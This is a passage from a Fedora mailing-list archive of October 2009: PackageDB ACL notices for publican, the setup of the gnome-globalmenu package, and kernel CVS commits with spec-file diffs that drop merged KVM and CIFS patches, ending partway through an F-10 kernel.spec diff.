Message-ID: <20091005021459.4DC6210F89C@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchcommits acl on publican-fedora (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:00 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested commit
Message-ID: <20091005021500.E9C1D10F8A1@bastion2.fedora.phx.redhat.com>

rlandmann has requested the commit acl on publican-fedora (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:05 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested approveacls
Message-ID: <20091005021505.6840A10F890@bastion2.fedora.phx.redhat.com>

rlandmann has requested the approveacls acl on publican-fedora (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:12 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested watchbugzilla
Message-ID: <20091005021512.780F910F890@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchbugzilla acl on publican-fedora (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:16 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested watchcommits
Message-ID: <20091005021516.7CC7A10F88E@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchcommits acl on publican-fedora (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:19 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested commit
Message-ID: <20091005021519.A4D5D10F894@bastion2.fedora.phx.redhat.com>

rlandmann has requested the commit acl on publican-fedora (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:22 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested approveacls
Message-ID: <20091005021522.C90A410F89C@bastion2.fedora.phx.redhat.com>

rlandmann has requested the approveacls acl on publican-fedora (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:29 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested watchbugzilla
Message-ID: <20091005021530.9C45510F88E@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchbugzilla acl on publican-fedora (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:31 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested watchcommits
Message-ID: <20091005021532.7752D10F894@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchcommits acl on publican-fedora (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:33 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested commit
Message-ID: <20091005021533.9493E10F89C@bastion2.fedora.phx.redhat.com>

rlandmann has requested the commit acl on publican-fedora (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:36 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested approveacls
Message-ID: <20091005021536.B265410F8A4@bastion2.fedora.phx.redhat.com>

rlandmann has requested the approveacls acl on publican-fedora (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:41 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested watchbugzilla
Message-ID: <20091005021541.B140F10F89C@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchbugzilla acl on publican-fedora (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:43 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested watchcommits
Message-ID: <20091005021544.014C610F8A3@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchcommits acl on publican-fedora (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:45 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested commit
Message-ID: <20091005021545.86D4610F8A2@bastion2.fedora.phx.redhat.com>

rlandmann has requested the commit acl on publican-fedora (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:48 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested approveacls
Message-ID: <20091005021548.4019910F8A4@bastion2.fedora.phx.redhat.com>

rlandmann has requested the approveacls acl on publican-fedora (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:53 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested watchbugzilla
Message-ID: <20091005021553.6C7D610F88E@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchbugzilla acl on publican-fedora (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:55 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested watchcommits
Message-ID: <20091005021555.6A53010F89C@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchcommits acl on publican-fedora (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:15:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:15:57 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested commit
Message-ID: <20091005021558.0C23110F871@bastion2.fedora.phx.redhat.com>

rlandmann has requested the commit acl on publican-fedora (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:16:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:16:00 +0000
Subject: [pkgdb] publican-fedora: rlandmann has requested approveacls
Message-ID: <20091005021600.4CB3010F8A3@bastion2.fedora.phx.redhat.com>

rlandmann has requested the approveacls acl on publican-fedora (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/publican-fedora



From pkgdb at fedoraproject.org  Mon Oct  5 02:16:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:16:49 +0000
Subject: [pkgdb] publican: rlandmann has requested watchbugzilla
Message-ID: <20091005021649.5D6B610F88E@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchbugzilla acl on publican (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 02:16:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:16:50 +0000
Subject: [pkgdb] publican: rlandmann has requested watchcommits
Message-ID: <20091005021651.0028710F894@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchcommits acl on publican (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 02:17:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:17:01 +0000
Subject: [pkgdb] publican: rlandmann has requested watchbugzilla
Message-ID: <20091005021701.ECAE410F88E@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchbugzilla acl on publican (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 02:17:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:17:04 +0000
Subject: [pkgdb] publican: rlandmann has requested watchcommits
Message-ID: <20091005021704.76BD710F895@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchcommits acl on publican (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 02:17:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:17:09 +0000
Subject: [pkgdb] publican: rlandmann has requested watchbugzilla
Message-ID: <20091005021709.504A610F890@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchbugzilla acl on publican (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 02:17:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:17:11 +0000
Subject: [pkgdb] publican: rlandmann has requested watchcommits
Message-ID: <20091005021711.5E0B310F8A1@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchcommits acl on publican (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 02:17:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:17:18 +0000
Subject: [pkgdb] publican: rlandmann has requested watchbugzilla
Message-ID: <20091005021718.8D99710F88E@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchbugzilla acl on publican (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 02:17:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:17:20 +0000
Subject: [pkgdb] publican: rlandmann has requested watchcommits
Message-ID: <20091005021720.E5EE410F8A2@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchcommits acl on publican (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 02:17:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:17:30 +0000
Subject: [pkgdb] publican: rlandmann has requested watchcommits
Message-ID: <20091005021730.908DF10F894@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchcommits acl on publican (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 02:17:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:17:28 +0000
Subject: [pkgdb] publican: rlandmann has requested watchbugzilla
Message-ID: <20091005021728.6F6FC10F88E@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchbugzilla acl on publican (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 02:17:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:17:34 +0000
Subject: [pkgdb] publican: rlandmann has requested watchbugzilla
Message-ID: <20091005021734.DEB4210F8A1@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchbugzilla acl on publican (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 02:17:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:17:37 +0000
Subject: [pkgdb] publican: rlandmann has requested watchcommits
Message-ID: <20091005021737.175CD10F892@bastion2.fedora.phx.redhat.com>

rlandmann has requested the watchcommits acl on publican (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/publican



From pkgdb at fedoraproject.org  Mon Oct  5 02:54:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:54:49 +0000
Subject: [pkgdb] gnome-globalmenu was added for fengyu
Message-ID: <20091005025449.3AF4F10F88E@bastion2.fedora.phx.redhat.com>

ausil has added Package gnome-globalmenu with summary Centralized menu bar for GNOME
ausil has approved Package gnome-globalmenu
ausil has added a Fedora devel branch for gnome-globalmenu with an owner of fengyu
ausil has approved gnome-globalmenu in Fedora devel
ausil has approved Package gnome-globalmenu
ausil has set commit to Approved for 107427 on gnome-globalmenu (Fedora devel)
ausil has set checkout to Approved for 107427 on gnome-globalmenu (Fedora devel)
ausil has set build to Approved for 107427 on gnome-globalmenu (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/gnome-globalmenu



From pkgdb at fedoraproject.org  Mon Oct  5 02:54:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:54:50 +0000
Subject: [pkgdb] gnome-globalmenu summary updated by ausil
Message-ID: <20091005025450.8ADB110F894@bastion2.fedora.phx.redhat.com>

ausil set package gnome-globalmenu summary to Centralized menu bar for GNOME

To make changes to this package see:
  /pkgdb/packages/name/gnome-globalmenu



From pkgdb at fedoraproject.org  Mon Oct  5 02:54:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 02:54:50 +0000
Subject: [pkgdb] gnome-globalmenu (Fedora, devel) updated by ausil
Message-ID: <20091005025450.A161010F8A1@bastion2.fedora.phx.redhat.com>

ausil approved watchbugzilla on gnome-globalmenu (Fedora devel) for bernie
ausil approved watchcommits on gnome-globalmenu (Fedora devel) for bernie

To make changes to this package see:
  /pkgdb/packages/name/gnome-globalmenu



From ausil at fedoraproject.org  Mon Oct  5 02:54:58 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon,  5 Oct 2009 02:54:58 +0000 (UTC)
Subject: rpms/gnome-globalmenu/devel - New directory
Message-ID: <20091005025458.5343E11C0297@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-globalmenu/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/ausil/CVSROOT/admin/tmpcvsx30586/rpms/gnome-globalmenu/devel

Log Message:
Directory /cvs/pkgs/rpms/gnome-globalmenu/devel added to the repository




From ausil at fedoraproject.org  Mon Oct  5 02:54:58 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon,  5 Oct 2009 02:54:58 +0000 (UTC)
Subject: rpms/gnome-globalmenu - New directory
Message-ID: <20091005025458.43D6C11C0296@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-globalmenu
In directory cvs1.fedora.phx.redhat.com:/home/fedora/ausil/CVSROOT/admin/tmpcvsx30586/rpms/gnome-globalmenu

Log Message:
Directory /cvs/pkgs/rpms/gnome-globalmenu added to the repository




From ausil at fedoraproject.org  Mon Oct  5 02:55:05 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon,  5 Oct 2009 02:55:05 +0000 (UTC)
Subject: rpms/gnome-globalmenu Makefile,NONE,1.1
Message-ID: <20091005025505.437DE11C00E5@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-globalmenu
In directory cvs1.fedora.phx.redhat.com:/home/fedora/ausil/CVSROOT/admin/tmpcvsx30586/rpms/gnome-globalmenu

Added Files:
	Makefile 
Log Message:
Setup of module gnome-globalmenu


--- NEW FILE Makefile ---
# Top level Makefile for module gnome-globalmenu
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From ausil at fedoraproject.org  Mon Oct  5 02:55:05 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon,  5 Oct 2009 02:55:05 +0000 (UTC)
Subject: rpms/gnome-globalmenu/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091005025505.A20B011C00E5@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-globalmenu/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/ausil/CVSROOT/admin/tmpcvsx30586/rpms/gnome-globalmenu/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module gnome-globalmenu


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: gnome-globalmenu
# $Id: Makefile,v 1.1 2009/10/05 02:55:05 ausil Exp $
NAME := gnome-globalmenu
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From cebbert at fedoraproject.org  Mon Oct  5 02:55:38 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Mon,  5 Oct 2009 02:55:38 +0000 (UTC)
Subject: rpms/kernel/F-11 patch-2.6.30.9-rc3.bz2.sign, NONE, 1.1 .cvsignore, 
	1.1057, 1.1058 kernel.spec, 1.1749, 1.1750 sources, 1.1019,
	1.1020 upstream, 1.930, 1.931
	kvm-guest-fix-bogus-wallclock-physical-address-calculation.patch,
	1.1,
	NONE kvm-mmu-make-__kvm_mmu_free_some_pages-handle-empty-list.patch, 
	1.1,
	NONE kvm-vmx-check-cpl-before-emulating-debug-register-access.patch, 
	1.1, NONE kvm-vmx-fix-cr8-exiting-control-clobbering-by-ept.patch,
	1.1,
	NONE kvm-x86-disallow-hypercalls-for-guest-callers-in-rings-0.patch, 
	1.1, NONE linux-2.6-cifs-reenable-lanman-security.patch, 1.1,
	NONE linux-2.6-kvm-revert-x86-check-for-cr3-validity.patch, 1.1, NONE
Message-ID: <20091005025538.D035A11C00E5@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30779

Modified Files:
	.cvsignore kernel.spec sources upstream 
Added Files:
	patch-2.6.30.9-rc3.bz2.sign 
Removed Files:
	kvm-guest-fix-bogus-wallclock-physical-address-calculation.patch 
	kvm-mmu-make-__kvm_mmu_free_some_pages-handle-empty-list.patch 
	kvm-vmx-check-cpl-before-emulating-debug-register-access.patch 
	kvm-vmx-fix-cr8-exiting-control-clobbering-by-ept.patch 
	kvm-x86-disallow-hypercalls-for-guest-callers-in-rings-0.patch 
	linux-2.6-cifs-reenable-lanman-security.patch 
	linux-2.6-kvm-revert-x86-check-for-cr3-validity.patch 
Log Message:
Linux 2.6.30.9-rc3
Drop merged upstream patches:
  linux-2.6-cifs-reenable-lanman-security.patch
  kvm-guest-fix-bogus-wallclock-physical-address-calculation.patch
  kvm-mmu-make-__kvm_mmu_free_some_pages-handle-empty-list.patch
  kvm-vmx-check-cpl-before-emulating-debug-register-access.patch
  kvm-vmx-fix-cr8-exiting-control-clobbering-by-ept.patch
  kvm-x86-disallow-hypercalls-for-guest-callers-in-rings-0.patch
  linux-2.6-kvm-revert-x86-check-for-cr3-validity.patch


--- NEW FILE patch-2.6.30.9-rc3.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBKxjlqyGugalF9Dw4RAiWXAJ49wwFPgdFwJCPgXcbgfMz8s8QGggCcCF/m
VFLpyoQpTX5EwlR27/YffFo=
=8Zp5
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/.cvsignore,v
retrieving revision 1.1057
retrieving revision 1.1058
diff -u -p -r1.1057 -r1.1058
--- .cvsignore	24 Sep 2009 19:52:25 -0000	1.1057
+++ .cvsignore	5 Oct 2009 02:55:36 -0000	1.1058
@@ -6,3 +6,4 @@ temp-*
 kernel-2.6.30
 linux-2.6.30.tar.bz2
 patch-2.6.30.8.bz2
+patch-2.6.30.9-rc3.bz2


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1749
retrieving revision 1.1750
diff -u -p -r1.1749 -r1.1750
--- kernel.spec	2 Oct 2009 18:58:55 -0000	1.1749
+++ kernel.spec	5 Oct 2009 02:55:37 -0000	1.1750
@@ -40,9 +40,9 @@ Summary: The Linux kernel
 %if 0%{?released_kernel}
 
 # Do we have a -stable update to apply?
-%define stable_update 8
+%define stable_update 9
 # Is it a -stable RC?
-%define stable_rc 0
+%define stable_rc 3
 # Set rpm version accordingly
 %if 0%{?stable_update}
 %define stablerev .%{stable_update}
@@ -737,7 +737,6 @@ Patch13104: sched-retune-scheduler-laten
 Patch14000: make-mmap_min_addr-suck-less.patch
 
 # ----- send for upstream inclusion -----
-Patch14010: linux-2.6-cifs-reenable-lanman-security.patch
 
 # ----- patches headed for -stable -----
 
@@ -759,16 +758,6 @@ Patch14200: hostap-revert-toxic-part-of-
 # fix cfq performance regression in 2.6.30
 Patch14300: linux-2.6-cfq-choose-new-next-req.patch
 
-# kvm fixes from 2.6.31.1, including fix for CVE-2009-3290
-Patch14400: kvm-guest-fix-bogus-wallclock-physical-address-calculation.patch
-Patch14401: kvm-mmu-make-__kvm_mmu_free_some_pages-handle-empty-list.patch
-Patch14402: kvm-vmx-check-cpl-before-emulating-debug-register-access.patch
-Patch14403: kvm-vmx-fix-cr8-exiting-control-clobbering-by-ept.patch
-Patch14404: kvm-x86-disallow-hypercalls-for-guest-callers-in-rings-0.patch
-
-# fixes bug #525743, send for -stable
-Patch14410: linux-2.6-kvm-revert-x86-check-for-cr3-validity.patch
-
 # appletalk: fix skb leak (CVE-2009-2903)
 Patch15200: appletalk-fix-skb-leak-when-ipddp-interface-is-not-loaded.patch
 
@@ -1403,7 +1392,6 @@ ApplyPatch sched-retune-scheduler-latenc
 ApplyPatch make-mmap_min_addr-suck-less.patch
 
 # ----- sent for upstream inclusion -----
-ApplyPatch linux-2.6-cifs-reenable-lanman-security.patch
 
 # ----- patches headed for -stable -----
 
@@ -1427,16 +1415,6 @@ ApplyPatch hostap-revert-toxic-part-of-c
 # fix cfq performance regression in 2.6.30
 ApplyPatch linux-2.6-cfq-choose-new-next-req.patch
 
-# kvm fixes from 2.6.31.1, including fix for CVE-2009-3290
-ApplyPatch kvm-guest-fix-bogus-wallclock-physical-address-calculation.patch
-ApplyPatch kvm-mmu-make-__kvm_mmu_free_some_pages-handle-empty-list.patch
-ApplyPatch kvm-vmx-check-cpl-before-emulating-debug-register-access.patch
-ApplyPatch kvm-vmx-fix-cr8-exiting-control-clobbering-by-ept.patch
-ApplyPatch kvm-x86-disallow-hypercalls-for-guest-callers-in-rings-0.patch
-
-# fixes bug #525743, send for -stable
-ApplyPatch linux-2.6-kvm-revert-x86-check-for-cr3-validity.patch
-
 # appletalk: fix skb leak (CVE-2009-2903)
 ApplyPatch appletalk-fix-skb-leak-when-ipddp-interface-is-not-loaded.patch
 
@@ -2028,6 +2006,17 @@ fi
 # and build.
 
 %changelog
+* Sun Oct 04 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.30.9-71.rc3
+- Linux 2.6.30.9-rc3
+- Drop merged upstream patches:
+  linux-2.6-cifs-reenable-lanman-security.patch
+  kvm-guest-fix-bogus-wallclock-physical-address-calculation.patch
+  kvm-mmu-make-__kvm_mmu_free_some_pages-handle-empty-list.patch
+  kvm-vmx-check-cpl-before-emulating-debug-register-access.patch
+  kvm-vmx-fix-cr8-exiting-control-clobbering-by-ept.patch
+  kvm-x86-disallow-hypercalls-for-guest-callers-in-rings-0.patch
+  linux-2.6-kvm-revert-x86-check-for-cr3-validity.patch
+
 * Fri Oct  2 2009  Justin M. Forbes <jforbes at redhat.com>  2.6.30.8-70
 - Add linux-2.6-virtio-net-refill-on-out-of-memory.patch, from 2.6.31
   to prevent page allocation failures in guests. (#520119)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/sources,v
retrieving revision 1.1019
retrieving revision 1.1020
diff -u -p -r1.1019 -r1.1020
--- sources	24 Sep 2009 19:52:25 -0000	1.1019
+++ sources	5 Oct 2009 02:55:38 -0000	1.1020
@@ -1,2 +1,3 @@
 7a80058a6382e5108cdb5554d1609615  linux-2.6.30.tar.bz2
 7e9b405b840bf5ecc70d208bfccee5f9  patch-2.6.30.8.bz2
+b91450ad7db3301e5e3983d9ccbc4543  patch-2.6.30.9-rc3.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/upstream,v
retrieving revision 1.930
retrieving revision 1.931
diff -u -p -r1.930 -r1.931
--- upstream	24 Sep 2009 19:52:25 -0000	1.930
+++ upstream	5 Oct 2009 02:55:38 -0000	1.931
@@ -1,3 +1,4 @@
 linux-2.6.30.tar.bz2
 patch-2.6.30.8.bz2
+patch-2.6.30.9-rc3.bz2
 


--- kvm-guest-fix-bogus-wallclock-physical-address-calculation.patch DELETED ---


--- kvm-mmu-make-__kvm_mmu_free_some_pages-handle-empty-list.patch DELETED ---


--- kvm-vmx-check-cpl-before-emulating-debug-register-access.patch DELETED ---


--- kvm-vmx-fix-cr8-exiting-control-clobbering-by-ept.patch DELETED ---


--- kvm-x86-disallow-hypercalls-for-guest-callers-in-rings-0.patch DELETED ---


--- linux-2.6-cifs-reenable-lanman-security.patch DELETED ---


--- linux-2.6-kvm-revert-x86-check-for-cr3-validity.patch DELETED ---



From cebbert at fedoraproject.org  Mon Oct  5 03:09:56 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Mon,  5 Oct 2009 03:09:56 +0000 (UTC)
Subject: rpms/kernel/F-10 patch-2.6.27.36-rc2.bz2.sign, NONE,
	1.1.2.1 .cvsignore, 1.960.2.22, 1.960.2.23 kernel.spec,
	1.1206.2.94, 1.1206.2.95 sources, 1.922.2.22,
	1.922.2.23 upstream, 1.834.2.22, 1.834.2.23
Message-ID: <20091005030957.467C111C00E5@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1354

Modified Files:
      Tag: private-fedora-10-2_6_27
	.cvsignore kernel.spec sources upstream 
Added Files:
      Tag: private-fedora-10-2_6_27
	patch-2.6.27.36-rc2.bz2.sign 
Log Message:
Linux 2.6.27.36-rc2


--- NEW FILE patch-2.6.27.36-rc2.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBKxj/XyGugalF9Dw4RAhs8AJsHQ63toNddMjJkCeUdisEM52vL1QCgi5cn
0aUS8e8YFhsrb/O+uydfAw4=
=Y/XN
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/.cvsignore,v
retrieving revision 1.960.2.22
retrieving revision 1.960.2.23
diff -u -p -r1.960.2.22 -r1.960.2.23
--- .cvsignore	24 Sep 2009 20:02:57 -0000	1.960.2.22
+++ .cvsignore	5 Oct 2009 03:09:46 -0000	1.960.2.23
@@ -5,3 +5,4 @@ temp-*
 kernel-2.6.27
 linux-2.6.27.tar.bz2
 patch-2.6.27.35.bz2
+patch-2.6.27.36-rc2.bz2


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.94
retrieving revision 1.1206.2.95
diff -u -p -r1.1206.2.94 -r1.1206.2.95
--- kernel.spec	26 Sep 2009 17:17:46 -0000	1.1206.2.94
+++ kernel.spec	5 Oct 2009 03:09:50 -0000	1.1206.2.95
